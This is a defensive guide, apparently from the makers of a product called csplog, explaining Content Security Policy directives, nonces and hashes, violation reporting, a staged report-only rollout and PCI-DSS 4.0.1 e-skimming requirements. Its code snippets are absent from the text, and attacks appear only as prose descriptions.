A CSP is one of the most effective protections you can add to a website, and also one of the most misunderstood. This guide goes from what CSP actually does, all the way to nonces, strict-dynamic, reporting and PCI-DSS 4.0.1. You don't need a security background: if you can read an HTTP header, you can understand CSP.
A Content Security Policy is a set of rules that tells the browser which resources your website is allowed to load, and just as importantly which to block.
A modern page loads a lot: scripts, stylesheets, fonts, images, analytics, chat widgets, payment forms. Each comes from somewhere: your own server, a CDN, a third party. A CSP is a guest list for those sources. If something tries to load from a source that isn't on the list, the browser refuses it.
Think of your website as a venue and the browser as the bouncer at the door. Without a CSP the bouncer lets anyone in. With a CSP you hand them a guest list: "Scripts? Only from my own domain and this one CDN. Everything else stays outside."
The policy is delivered as an HTTP response header your server sends with every page:
That one line says: "By default, only load resources from my own origin." That's a complete, valid CSP.
The main threat CSP defends against is Cross-Site Scripting (XSS), and its modern, money-driven cousin, e-skimming (also called Magecart or formjacking). Somewhere on your site, untrusted input ends up rendered as HTML: a comment field, a search box, a URL parameter, a compromised third-party script. An attacker injects something like:
If that script runs, it can steal session cookies, read everything the user types (including card numbers on a checkout page), redirect them, or exfiltrate data. A CSP stops this: if your policy says scripts may only come from 'self' and no inline scripts are allowed, the injected <script> simply won't execute. The attacker got their code onto the page. The browser refused to run it.
For e-commerce the stakes are concrete. Card-skimming groups compromise a third-party script (analytics, a chat widget, an A/B testing tool) and use it to siphon card details from checkout. A CSP that only allows known, authorized scripts to run is one of the few controls that actually catches this. That is exactly why payment regulations now require it (see CSP and PCI-DSS 4.0.1).
your first csp headerReal sites load some outside resources. Say you use Google Fonts and a single analytics script. You'd extend the policy like this:
default-src 'self' is the fallback: same origin only.script-src: scripts may come from your origin or that analytics host.style-src: stylesheets from your origin or Google Fonts' CSS host.font-src: font files from Google's font host.Each directive is separated by a semicolon; each has a name followed by a space-separated list of allowed sources.
A CSP is made of directives. Each directive governs one category of resource and is followed by a source list describing what's allowed.
| Directive | Controls |
|---|---|
default-src | Fallback for most other *-src directives |
script-src | JavaScript (<script>, inline handlers, eval) |
style-src | CSS (<style>, <link rel=stylesheet>, inline styles) |
img-src | Images (<img>, background-image, favicons) |
font-src | Fonts (@font-face) |
connect-src | Fetch / XHR / WebSocket / sendBeacon destinations |
frame-src | <iframe> sources |
frame-ancestors | Who may embed you in a frame (replaces X-Frame-Options) |
form-action | Where forms may submit |
base-uri | What <base> tags may set |
object-src | <object>, <embed> (almost always 'none') |
media-src | <audio> and <video> |
A source list can contain hostnames, schemes, and a handful of special keywords. Keywords are wrapped in single quotes; hostnames are not.
'self'The page's own origin (scheme + host + port). Does not include subdomains.
'none'Nothing at all. object-src 'none' blocks all plugins.
'unsafe-inline'Allows inline scripts/styles. Powerful, dangerous, and usually the wrong answer.
'unsafe-eval'Allows eval() and similar. Avoid unless a dependency genuinely requires it.
'nonce-…'Allows a specific inline script tagged with a matching nonce: the safe way to allow inline.
'sha256-…'Allows a specific inline script or style by hash.
'strict-dynamic'Trust scripts loaded by an already-trusted script (CSP Level 3).
https: data:Bare schemes. https: = any HTTPS host; data: = data URIs. Broad; use sparingly.
Hostnames and schemes can also be specific or wildcarded:
problem
The most common way developers "make CSP work" reopens the very door CSP is meant to close:
'unsafe-inline' allows any inline script to run, including the one an attacker injected. You've added a CSP header, your scanner shows a checkmark, and you have almost no XSS protection. The two safe ways to allow the inline code you actually need are nonces and hashes.
nonce
A nonce ("number used once") is a random value you generate on the server for each page load, put in the CSP header, and stamp on each inline <script> you trust.
The browser runs only inline scripts whose nonce matches the header value. An attacker can't guess it (it changes every request), so injected inline scripts are blocked while yours run fine.
hash
If an inline script never changes, allow it by the hash of its contents instead of a nonce. Compute the SHA-256 of the exact text between the tags, then list it:
Great for build-time-generated inline code where the content is fixed; awkward when content changes per request. That's what nonces are for.
strict-dynamic
Host allowlists fall apart on complex sites: a trusted script loads another, which loads three more, each from a different CDN. 'strict-dynamic' (CSP Level 3) says: trust scripts loaded by an already-trusted script, regardless of host. You trust your entry-point script with a nonce or hash; anything it loads is trusted automatically, and the host allowlist is ignored.
CSP3 browsers see 'strict-dynamic' + the nonce and ignore 'unsafe-inline' and https:. Older browsers ignore 'strict-dynamic' and fall back to them. Strong policy on modern browsers, working fallback on old ones: the pattern Google recommends.
report-only
The most important operational feature in all of CSP. There are two headers:
Content-Security-Policy: enforces the policy. Violations are blocked.Content-Security-Policy-Report-Only: observes. Violations are reported but nothing is blocked.With report-only, the browser evaluates your policy against every resource, reports anything that would be blocked, and lets it all load anyway. Zero user impact while you collect complete data. The workflow that actually works:
A policy you can't observe is a policy you can't trust. Reporting is how CSP tells you what it's blocking, and it's the core of what csplog does. When the browser blocks (or, in report-only mode, would block) a resource, it sends a small JSON report to an endpoint you nominate, saying what was blocked, on which page, and which directive it violated.
There are two mechanisms, and you currently need both. The legacy way, report-uri, POSTs each violation immediately as application/csp-report. It's technically deprecated, but has the broadest support and is the only mechanism Firefox honors as of 2026:
The modern way, the Reporting API, uses report-to, pointing at a named endpoint defined in a separate Reporting-Endpoints header. Reports arrive as application/reports+json with richer, camelCase fields:
Browser support hasn't fully converged. The universally-safe configuration specifies both directives pointing at the same endpoint, and this is exactly the snippet csplog hands you for a project:
Nobody warns you about this before you turn on reporting: most of what you receive is garbage. Browsers send violation reports for things that have nothing to do with your site. On a typical site, this noise outnumbers real violations. Teams turn on reporting, drown in junk within a day, and turn it off. It's the number one reason CSP reporting projects fail.
chrome-extension://Browser extensions injecting scripts (also moz-extension://, safari-extension://).
antivirusAntivirus and security software rewriting pages.
botsBots and crawlers behaving oddly.
data: blob: about:Pseudo-URIs from internal browser machinery.
default-src entirely. Adding script-src 'self' does not inherit default-src's other sources. List everything explicitly.default-src doesn't cover everything. frame-ancestors, base-uri and form-action do not fall back to it, so a default-src 'none' policy leaves all three wide open. And a browser only reports what your policy restricts, so an absent directive is silent rather than clean: leave form-action out and a form can post anywhere without ever producing a report. Set them explicitly.'self' excludes subdomains. https://example.com does not match https://www.example.com. List subdomains or use *.example.com.onclick="…" is blocked unless allowed (via 'unsafe-hashes', discouraged). Move handlers into script files.eval() needs 'unsafe-eval'. Some older libraries and setTimeout("string") calls rely on it. Find a modern alternative if you can.data: images. Many sites need img-src 'self' data: for inline SVGs and base64 images. Fine for images; never put data: in script-src.'strict-dynamic' was designed for.about:blank or a local file:/// path, so no line you add will permit them. Others are a decision about the directive rather than a host, such as whether img-src may take the bare https: scheme at all. Answering those as if they were hostnames fills an allowlist with entries that do nothing.If you take card payments and complete SAQ A-EP or SAQ D, two requirements aimed squarely at e-skimming apply to your payment page, and CSP is the usual way to meet them. PCI-DSS 4.0 (and the 4.0.1 revision) introduced them, in force since March 2025:
In plain terms: know which scripts run on your checkout, prove that only authorized ones run, and get alerted when your headers or scripts change unexpectedly. A CSP with violation reporting covers part of this: the policy authorizes which scripts may run, and violation reports surface when an unexpected script appears on a page someone visited.
Deploy a starting policy in report-only mode, and make it default-src 'none'. Pre-approving nothing is the point: under 'self' your own scripts never violate, so they are never reported, and you finish with an inventory of other people's domains rather than a complete one. Give base-uri, form-action and frame-ancestors their own 'none' lines too. They do not inherit default-src, and a browser never reports what a policy does not restrict, so without those lines you stay blind to them however long you watch.
Collect violations across real traffic for 7 to 14 days, and filter the noise. Judge over a window rather than over all time. A source that stopped appearing three weeks ago is not part of your site any more, and a window that is too short misses everything that only happens monthly, from an invoice page to a campaign script.
Add the legitimate sources you discover. Decide your inline-script strategy: nonces for dynamic, hashes for static, 'strict-dynamic' for complex apps.
Put the refined policy on the site under Content-Security-Policy-Report-Only before you enforce it. A quiet week under it is the only proof that holds. Any non-inheriting directive your refined policy does not name should still carry a 'none' line during this stage, or you stop hearing about it at the moment you are deciding. Those lines are probes rather than policy, so take them off when you enforce: a 'none' nobody chose would start blocking.
Move the refined policy to the enforcing header, without the probe lines. Nothing you actually decided should change on the way across. Keep object-src 'none', base-uri 'self' and frame-ancestors locked down, and say so explicitly now that the probes are gone.
New violations after enforcement mean one of two things: someone shipped a change, or someone is attacking you. Both are things you want to know immediately. Watch the header itself as well as the reports, because a deploy that drops your CSP, or quietly puts it back in report-only, produces no violations at all. Silence is not proof. Re-fetch your own pages on a schedule and compare what is served against what you shipped.
report-uri is the legacy directive: one POST per violation, application/csp-report format, broadest support, technically deprecated. report-to is the modern Reporting API directive: batched, application/reports+json, paired with a Reporting-Endpoints header. Support is still uneven, so the safe answer is to use both pointing at the same endpoint.'unsafe-inline' in places, ideally with 'strict-dynamic' and nonces where the platform supports them. The key is knowing what you're allowing and why.'unsafe-inline' largely cancels out CSP's XSS protection, so use it only when a platform genuinely forces your hand, and monitor closely when you do.Two policies, not one, because a rollout has two stages and they want opposite things. The first pre-approves nothing so that everything gets reported. The second allows what you found. Paste the first one today.
stage one: observeDeny everything, block nothing, hear about all of it. Note the three lines after default-src: those directives never inherit it, and a browser stays silent about anything your policy does not restrict.
A hardened shape to fill in from what stage one reported. Add your real hosts per directive, and nothing you did not see. Ship it under Content-Security-Policy-Report-Only first, then move the same string to Content-Security-Policy unchanged.
| Keyword | Meaning |
|---|---|
'self' | Same origin (no subdomains) |
'none' | Nothing allowed |
'unsafe-inline' | Allow inline scripts/styles (risky) |
'unsafe-eval' | Allow eval() (risky) |
'nonce-…' | Allow inline code with matching nonce |
'sha256-…' | Allow inline code matching this hash |
'strict-dynamic' | Trust scripts loaded by trusted scripts |
https: | Any HTTPS host (broad) |
data: | data: URIs (fine for images, never scripts) |
csplog collects your violations, filters the noise, and assembles the header in code from exactly the sources you allowed. Nothing in it is something you did not decide.
This guide is maintained by the team behind csplog. We tell you what your policy should be.